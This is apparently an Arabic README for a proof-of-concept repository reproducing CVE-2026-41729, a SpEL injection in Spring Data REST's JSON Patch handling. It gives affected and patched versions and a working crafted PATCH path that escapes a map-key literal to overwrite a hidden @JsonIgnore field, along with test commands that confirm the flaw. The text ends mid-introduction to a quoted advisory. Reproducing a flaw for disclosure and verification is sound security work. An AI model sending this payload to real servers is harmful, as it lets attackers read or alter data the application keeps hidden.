
CVE-2026-41729 PoC
هذا المستودع هو إثبات المفهوم (PoC) الأدنى لاستنساخ الثغرة
CVE-2026-41729 التي تم الإعلان عنها في التوصية الأمنية الرسمية لـ Spring.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Nعندما يعالج Spring Data REST طلب JSON Patch
(Content-Type: application/json-patch+json)، كانت هناك مشكلة تتمثل في إدراج جزء مسار المفتاح الخاص بخاصية من نوع Map مباشرةً في تعبير SpEL.
وفقًا للتوصية الرسمية، إذا كان الكيان المستمر يعرض خاصية من نوع Map ويمكن للمهاجم إرسال طلب PATCH إلى مصدر العنصر الخاص به، فيمكنه التلاعب بمقطع مفتاح الخريطة للخروج من حرفية فهرس الخريطة المقصودة وتقييم تعبير SpEL الفرعي في سياق الجذر الكلي. تم الإعلان عن تأثر كل من مسار التصحيح للقراءة ومسار التصحيح للكتابة.
يوضح إثبات المفهوم هذا استخدام مسار التصحيح للكتابة لتغيير حقل @JsonIgnore الذي لا يتم الكشف عنه في تمثيل REST العادي من خلال مسار JSON Patch مصمم.
المنتجات المتأثرة وفقًا للتوصية الرسمية:
الإصدارات المتأثرة:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5الإصدارات المصححة:
3.7.204.3.174.4.154.5.12 أو 4.5.11.15.0.6 أو 5.0.5.1يقوم الاختبار بتشغيل تطبيق Spring Boot فعلي وإرسال طلب HTTP PATCH إلى نقطة نهاية مستودع Spring Data REST.
يمتلك كائن المجال البنية التالية:
people مكشوفة خارجيًاhiddenChildren مخفية داخل كل Person في تمثيل Jackson/Spring Data RESTفي استجابة REST العادية، لا تظهر hiddenChildren وقيمها الداخلية.
GET /wrappers/sample
يتم ربط JSON Patch الذي يحدد الخاصية المخفية مباشرةً.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
ولكن باستخدام مفتاح خريطة مصمم، يمكن الخروج من حرفية مفتاح الخريطة المقصودة أثناء تحويل مسار JSON Patch -> مسار SpEL في Spring Data REST للوصول إلى مسار الخاصية المخفية.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
في الإصدارات المعرضة للخطر، ينجح هذا الطلب ويتغير القيمة الداخلية كما يلي:
before -> after
يؤكد الاختبار أنه لم يتم إنشاء مفتاح فعلي a'].hiddenChildren['b في الخريطة، بل تم تعديل مسار الخاصية المخفية بسبب اختراق التعبير.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
النتيجة المتوقعة للإصدار المعرض للخطر:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
نجاح الاختبار يعني "تم استنساخ السلوك المعرض للخطر". أي أن طلب JSON Patch المصمم ينجح في تغيير الحالة الداخلية المخفية في التبعية المعرضة للخطر.
يستخدم هذا المستودع الأصل Spring Boot 3.5.14، والذي يترجم إلى spring-data-rest-webmvc 4.5.11 في هذا التركيب. هذا يقع ضمن نطاق التأثير الرسمي 4.5.0 - 4.5.11.
يمكن للمهاجم القادر على إرسال طلب JSON Patch إلى نقطة نهاية Spring Data REST التلاعب بمفتاح الخريطة لدفع تقييم مسار SpEL غير مقصود على الخادم. نتيجة لذلك، يمكن قراءة أو تعديل القيم الداخلية لرسم الكائنات التي لا ينوي التطبيق كشفها في تمثيل REST.
قيمت التوصية الرسمية التأثير على السرية والتكامل بأنه عالٍ.
جاء في التوصية الرسمية لـ Spring ما يلي: